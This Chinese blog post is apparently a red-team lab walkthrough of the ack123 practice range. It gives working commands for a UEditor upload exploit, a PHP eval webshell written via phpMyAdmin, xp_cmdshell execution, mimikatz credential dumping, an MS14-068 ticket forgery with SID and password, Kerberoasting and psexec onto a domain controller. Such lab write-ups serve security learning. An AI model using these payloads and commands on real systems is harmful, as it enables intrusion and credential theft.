内网渗透、三层拓扑、红队考核靶场(ack123)

已于 2022-06-02 11:25:23 修改
阅读量2.9k 收藏 7
点赞数 2
分类专栏： 红队攻防 文章标签： 安全 web安全 运维
于 2022-05-20 17:59:46 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38850916/article/details/124801004
版权

前言

1、此靶场出自暗月团队
2、因为自己搭环境有点复杂，而且这么多台机器卡死了，我先把所有的杀软手动卸载了，不然因为环境问题处差错不好排查，免杀部分单独学习了！

环境搭建

https://www.bilibili.com/video/BV1264y187St?spm_id_from=333.1007.top_right_bar_window_history.content.click

在这里插入图片描述
在这里插入图片描述

外网打点

对ip信息搜集

nmap -sC -sV -A 192.168.3.46

在这里插入图片描述
信息搜集后发现以下有用信息

中间件版本iis8.5
80端口的web服务是hdhcms
999端口有phpmyadmin

尝试访问 ip:999 看一下phpmyadmin有没有弱口令什么的
答案是：没有！！！！

对web服务进行信息搜集

指纹

在这里插入图片描述
可以看到是java的站

扫描目录

dirsearch -u 192.168.3.46

在这里插入图片描述
扫到一个admin

后台测试

简单测了一下sql注入啥的，先注册一个账号进去看看
在这里插入图片描述
在这里插入图片描述

进来以后看到了网站的物理目录，还有一个上传目录，还有一个文本编辑器

文件上传测试

没权限访问上传接口，先放着

文本编辑器getshell

编辑器漏洞
https://www.cnblogs.com/Ivan1ee/p/10198866.html

漏洞检测

访问 http://192.168.3.46/admin/net/controller.ashx

出现下面这样
在这里插入图片描述

poc

<form action="http://192.168.3.46/admin/net/controller.ashx?action=catchimage"      enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr: <input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

在这里插入图片描述
这里搞错了，哥斯拉是asp，图就不换了
在这里插入图片描述
用哥斯拉连一下我们的马儿！
在这里插入图片描述
在这里插入图片描述
可以看到这上面是两个网段，22网段应该是下一层

弹到cs上面操作

在这里插入图片描述

提权(拿下web1主机)

whoami /prive

这两个权限中的一个启用一个就可以使用烂土豆提权

SeAssignPrimaryTokenPrivilege
SeImpersonatePrivilege

在这里插入图片描述
成功提权到system权限
在这里插入图片描述

横向移动

信息搜集

ipconfig /all

发现两个IP网段
192.168.22.128
192.168.3.46

net view /domain
没有域

扫描一下存活主机
![在这里插入图片描述](https://img-blog.csdnimg.cn/d1e73927bc5d4179bb0acb5在这里插入图片描述
端口扫描一下,看到个1433
利用cs的文件上传上传一个fscan一把梭一下

https://github.com/shadow1ng/fscan

fscan.exe -h 192.168.22.0/24

也没扫到啥东西
获取凭证

去物理目录下面看一下
在这里插入图片描述
在这里插入图片描述
发现了数据库信息

连接192.168.22.130的数据库

在这里插入图片描述
发现是sqlserver的数据库

http://sqlwiki.radare.cn/#/attackQueries/executingOSCommands
这里有常见的sql注入语句

在这里插入图片描述

powershell上线cs

EXEC master.dbo.xp_cmdshell'你的上线语句'

提权（拿下data1主机）

烂土豆提权
在这里插入图片描述

横向移动

信息搜集

fscan一把梭

在这里插入图片描述
两个网段
192.168.22.*
10.10.10.*
还发现另一台主机
192.168.22.135

对192.168.22.131（web2）进行渗透

挂个代理访问一下看看

ps：可以用cs自带的socks4a反向代理搭建隧道，也可以自己用frp搭建一个socks5
这一部分我就不上细节了

在这里插入图片描述

jwt:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjUyODU5OTYyLCJuYmYiOjE2NTI4NTk5NzIsImV4cCI6MTY1Mjg2MDU2MiwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.rkaaYAS4Aos00hP6x4GQ6CQaNw1SU6lsQCwNj6Ev_a0"

在这里插入图片描述
打出来一个密码也不知道是啥

Qweasdzxc5

继续信息搜集一下，爆破一下后台

这里卡了半天，dirsearch扫不出来，要丰富字典辣！！！！
http://192.168.22.131/phpmyadmin4.8.5/index.php

在这里插入图片描述

mysql数据库getshell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后执行一个查询就行了
SELECT ‘<?php phpinfo(); @eval($_POST[“pass”]);’
在这里插入图片描述
蚁剑直接连了 ps：不知道为啥哥斯拉连不上，可能是代理的问题吧

弹到cs上面操作（拿下web2主机）

配置一个listener转发然后cmd弹shell
或者正向连接

https://blog.csdn.net/qq_42094992/article/details/115087045

在这里插入图片描述
system全新

横向移动

信息搜集

在这里插入图片描述
进程里面有在域里面的

扫描一下c段

在这里插入图片描述
10.10.10.* 网段有三台主机

搜集一下域内信息

在这里插入图片描述
在这里插入图片描述

这里出现了这个问题
在这里插入图片描述

重新配置一下靶场

打到这里发现不对劲，信息搜集老是找不到域控，然后我去靶机看了看发现，这台机子的dns服务器配错了，没配到域控的ip，简直坑。。。。

重新搜集域内信息

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

总结一下
1.存在域 ack123.com
2.域控的账号是administrator
3.域控是16server-dc1
4.域控的ip是10.10.10.135

凭证信息

用mimikatz获取一下凭证信息
在这里插入图片描述

ACK123\web2 85b998a3d8f1904bc6f2d6b5f418be7e
12SERVER-WEB2\Administrator b78ee36a79ed9763b66519f86825a6bd

PTH(hash 传递)

虽然没有获取到明文密码，但是获取了域管理员用户的NTLM
通过mimikatz工具进行Hash传递。
![在这里插入图片描述](https://img-blog.csdnimg.cn/06a7b592561d4385a9d6131f31f2e5ad.png

看到pid是7044
利用cs制作一个令牌
这个手段原理是可以的，可我一直没成功，后来发现，域看错了，这个域管帐号不是ack123的域，我真的服了！！！！

PTT(票据传递)

ms14-068

条件

需要条件：
我们执行命令: systeminfo |find "3011780"，如果返回为空就说明没有打补丁，存在MS14-068漏洞
域内普通用户SID
域内普通用户密码(假装密码解密出来了嘿嘿，学习为主)
实施

在这里插入图片描述

whoami /user

在这里插入图片描述
这里获取到的 用户名\域\sid 不在域里面
mimikate收集一波
在这里插入图片描述

Authentication Id : 0 ; 321974 (00000000:0004e9b6)
Session           : Interactive from 1
User Name         : web2
Domain            : ACK123
Logon Server      : 16SERVER-DC1
Logon Time        : 2022/5/19 11:37:42
SID               : S-1-5-21-2015848930-1301831522-615504165-1104
	msv :	
	 [00010000] CredentialKeys
	 * NTLM     : 85b998a3d8f1904bc6f2d6b5f418be7e
	 * SHA1     : 09b436459c1e57b9fe5af3ae1d04847a444df556
	 [00000003] Primary
	 * Username : web2
	 * Domain   : ACK123
	 * NTLM     : 85b998a3d8f1904bc6f2d6b5f418be7e
	 * SHA1     : 09b436459c1e57b9fe5af3ae1d04847a444df556

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码

ms14-068.exe -u web2@ack123.com -s S-1-5-21-2015848930-1301831522-615504165-1104 -d 10.10.10.135 -p QWEasd.7788

在这里插入图片描述

然后改一下格式 #一定要用python2 不要用python3
python2 KrbCredExport.py TGT_web2@ack123.com.ccache web2.ticket

在这里插入图片描述
然后注入凭证

kerberos_ticket_use /Users/yezi/Desktop/*********/KrbCredExport-master/web2.ticket

然后net use连接域控
后面不操作了，打补丁了。。。
在这里插入图片描述

参考资料
https://blog.csdn.net/weixin_30737363/article/details/96114252

kerberost攻击

Kerberoast攻击共分为五步
1.  SPN发现
2.  请求服务票据
3.  导出服务票据
4.  破解服务服务票据
5.  重写服务票据

shell setspn -T ack123.com -q */*
查询域内用户注册的spn

在这里插入图片描述

创建一个票据，这里只有RC4加密才能利用脚本进行破解
mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com

在这里插入图片描述

mimikatz kerberos::list
列出票据

在这里插入图片描述
搞一个空目录
在这里插入图片描述

导出票据到当前目录
mimikatz kerberos::list /export

下载下来然后
在这里插入图片描述

爆破
https://github.com/nidem/kerberoast

在这里插入图片描述
那么配合上上面搜集到的域管理员账号

Administrator
P@55w0rd！

开启ipc连接

shell net use \\10.10.10.135\ipc$ /user:Administrator P@55w0rd!

在这里插入图片描述

上线域控（10.10.10.135拿下）

搞个smb
在这里插入图片描述
然后psexec直接梭哈
在这里插入图片描述

横向一下data2主机

这里从web2主机或者域控主机使用域控的hash直接横向移动就行了

Le叶a子f
关注
  • 2
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
专栏目录
ack123打靶记录
lightsec
03-20 4830
前言： 此靶场是月师傅九月出师考核靶场，搭建过程参考文章红队考核靶场ack123下载和搭建 靶场地址：https://pan.baidu.com/s/13g_1FFg-ZYYpBwkCvKyYWQ提取码：7fkj 靶场拓扑图： 靶场的主要考点： 1.站库分离 外网打点 2.过360全家桶 3.过windwos defender 4.过火绒 5.内网漫游 6.多层网络渗透 7.横向渗透 8.jwt token密钥破解 9.权限提升 10.域渗透 11.phpmyadm..
暗月ACK靶场 WP
qq_45414878的博客
01-31 1338
暗月ACK靶场，繁忙之余对内网知识复习巩固
免杀对抗-fscan免杀
最新发布
qq_73648490的博客
03-28 1194
最近拿fscan进内网老是被杀，看样子需要更新一下fscan了。
三层带防护内网红队靶场
叶子的Blog
06-07 1188
信息搜集 是2016的系统 俩简单测了一下弱口令，就没管了先dirsearch 安全狗秒封了，这里需要自己写一个脚本。并且设置延时参考 扫到 访问 扫到网站后台点击忘记密码，输入’admin’，‘禁用JS’，一直下一步，然后就能获取到’admin’的密码了 传一个冰蝎的原版马子上去 不行,得做免杀 这里提交一个zip文件绕过了，免杀马子不太行 php的马咋也不能执行命令，上aspx的 这里php的死活不能执行命令，玄学，aspx就可以 cs上线web主机 这里做一个免杀cs shellcod
红队靶场内网渗透（从DMZ主机渗透到域内机器）
m0_65712192的博客
02-12 3577
红队靶场内网渗透（从DMZ主机渗透到域内机器）
【内网星球3.0】红队之靶场集中营（聊聊都是哪60个靶场）
Ms08067安全实验室
12-12 1220
2019年11月我们选择了知识星球，星球给我们带来了第一批忠实的粉丝，也带来了很多快乐的时光，今年因为主要精力放在培训上面，而忽略了星球，这也让很多星友很是失望，不过我们不会放弃星球。目前星球大概可以分为二种：一种是星主分享的资源多，不管是哪个安全方向的。说实话，在如今这个互联网时代，只要不是你亲自撰写录制的，而是从网上收集的。只要你用心去搜索、整理，相信这些资料你都可以从各个方面找到。再者你保存...
内网渗透攻击线路图.pdf
03-21
内网渗透攻击线路图.pdf
红队渗透打点工具-FindUpload
03-07
FindUpload是一款红队打点工具，帮助渗透测试人员批量url快速发现文件上传点和登录框，提高渗透测试效率和减少手工发现时间。
渗透测试/红队/src全方位测试字典
09-01
这是安全测试人员的伴侣。它是安全评估期间使用的多种类型的列表的集合，收集在一个位置。列表类型包括用户名、密码、...目标是使安全测试人员能够将此存储库拉到新的测试框中，并可以访问可能需要的每种类型的列表。
红队靶场搭建
weixin_51846555的博客
01-01 382
红队靶场环境的搭建
ATT-ACK靶场渗透(一)
开心星人的博客
05-14 397
开启内网环境kali攻击机ip为 192.168.88.156。
红队内网靶场
qq_18811919的博客
04-14 2624
下面几个跨域靶场会陆续加上vCenter/Kubernetes/gitlab/ADCS/exchange/等常见系统,也会陆续做安全运营相关靶场从防守方视角反推红队攻击路径逆向分析木马IoC排查终端木马编写相关报告,如果大家对靶场系列感兴趣的话欢迎关注。
暗月渗透实战靶场-项目七（上）
高高同学
01-30 3201
暗月渗透实战靶场-项目七 环境配置 使用的是暗月提供的环境 直接虚拟机运行即可 设置网络环境 配置完成即可 网络拓扑 网络测试 外网 对于外网的主机144、我们是无法进行ping的、防火墙是拦截了ping的数据包的 我们可以直接访问、能访问成功说明外网的环境配置没有问题 内网 由于内网防火墙的设置、也是禁用了ping命令的 web机与OA办公机是无法互相ping的、验证的方式只能是通过直接访问其ip的80、端口即可 域控 域控机器是没有设置防火墙的、也没有禁用ping、可以直接ping测试、 00x
ACAC 内部类和匿名内部类
qq_44707513的博客
03-04 889
/* * 内部类： * 1、内部类的同名方法： * 内部类可以调用外部类的方法，如果内部类方法和外部类方法名相同 * · 使用“OutClass.this.MethodName()”格式调用 * OutClass : 外部类名 MethodName ：方法名 this: 关键字 * 若无同名方法，内部类可以直接调用外部方法 * 注意：外部类无法直接调用内部类的private方法，也无法调用其他类的private方法 * 那内部类是否可以直接调用外.
重写equals方法
weixin_43343423的博客
04-15 89
建一个学生类 public class Student { private String name; private int age; //构造方法 public Student() { super(); } public Student(String name, int age) { super(); this.name = name; this.age = age;...
ACAC 失败的单链表（删除可以，插入不可）
qq_44707513的博客
11-27 136
package link; import java.util.Objects; /* * 链表类 * */ public class Link { //头节点 Node header; Node header02; Node header03; Node header04; String no = "not"; String yes = "yes"; /** * 遍历单链表 * 之所以写这个方法不是为了方便
ACAC 自定义异常
qq_44707513的博客
11-22 108
/* *1、 SUN提供的JDK内置的异常肯定是不够用的，在实际的开发中，有很多业务， * 这些业务出现异常后，JDK中都是没有的，和业务挂钩的，异常类我们可以 * 自己定义吗？？ * 可以 *2、java中怎样自定义异常？ * 1、写一个类继承Exception 或者 RuntimeException * 2、提供两个构造方法，一个有参的，一个无参的 * 记住就行，模板SUN公司 * */ public class MyException extends Except.
三层内网渗透笔记-靶场（teamssix.com）
mingyqf的博客
02-02 719
渗透流程参考：https://mp.weixin.qq.com/s/oa_7YBrvtCRIYlBbwcqoVQ，部分截图引用该公众号。
DC系列漏洞靶场-渗透测试学习复现（DC-6）
W983079520的博客
12-07 2455
DC-6是一个易受攻击的实验环境，最终目的是让攻击者获得root权限，并读取flag。 DC-6使用的操作系统为Debian 64位。 靶场下载链接： 1 http://www.five86.com/downloads/DC-6.zip 2 https://download.vulnhub.com/dc/DC-6.zip 3 https://download.vulnhub.com/dc/DC-6.zip.torrent 1 环境搭建 下载靶场文件，使用Vbox或者VM打开即可;攻击机使.
vulhub 多层渗透的靶场是哪个
09-06
vulhub 多层渗透的靶场是一个基于 Docker 的漏洞复现与渗透测试环境。该靶场提供了丰富多样的漏洞环境，供安全研究人员、渗透测试人员和学习者进行实践和学习。 vulhub 多层渗透的靶场包括了很多不同的漏洞环境，每个环境都以 Docker 镜像的形式提供。通过使用 Docker 技术，可以方便地创建、启动和停止不同的漏洞环境，实现了环境的分离和隔离。 在 vulhub 多层渗透的靶场中，可以找到包括 Web 漏洞、网络漏洞、服务器漏洞等多个层次的漏洞环境。这些漏洞环境包括但不限于：WebGoat、DVWA、Metasploitable、bWAPP 等。每个环境都模拟了真实场景中常见的漏洞，并提供了相应的解题指南，便于学习者进行漏洞的渗透测试和复现。 通过使用 vulhub 多层渗透的靶场，学习者可以深入了解各种类型的漏洞，学习漏洞的攻击方法和防御策略。这对于提高网络安全意识，提升渗透测试能力和红队技能非常有帮助。 总之，vulhub 多层渗透的靶场提供了一个实践的平台，帮助学习者更好地了解和学习各种漏洞，并提供了相应的指导，帮助学习者掌握渗透测试和网络安全知识。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值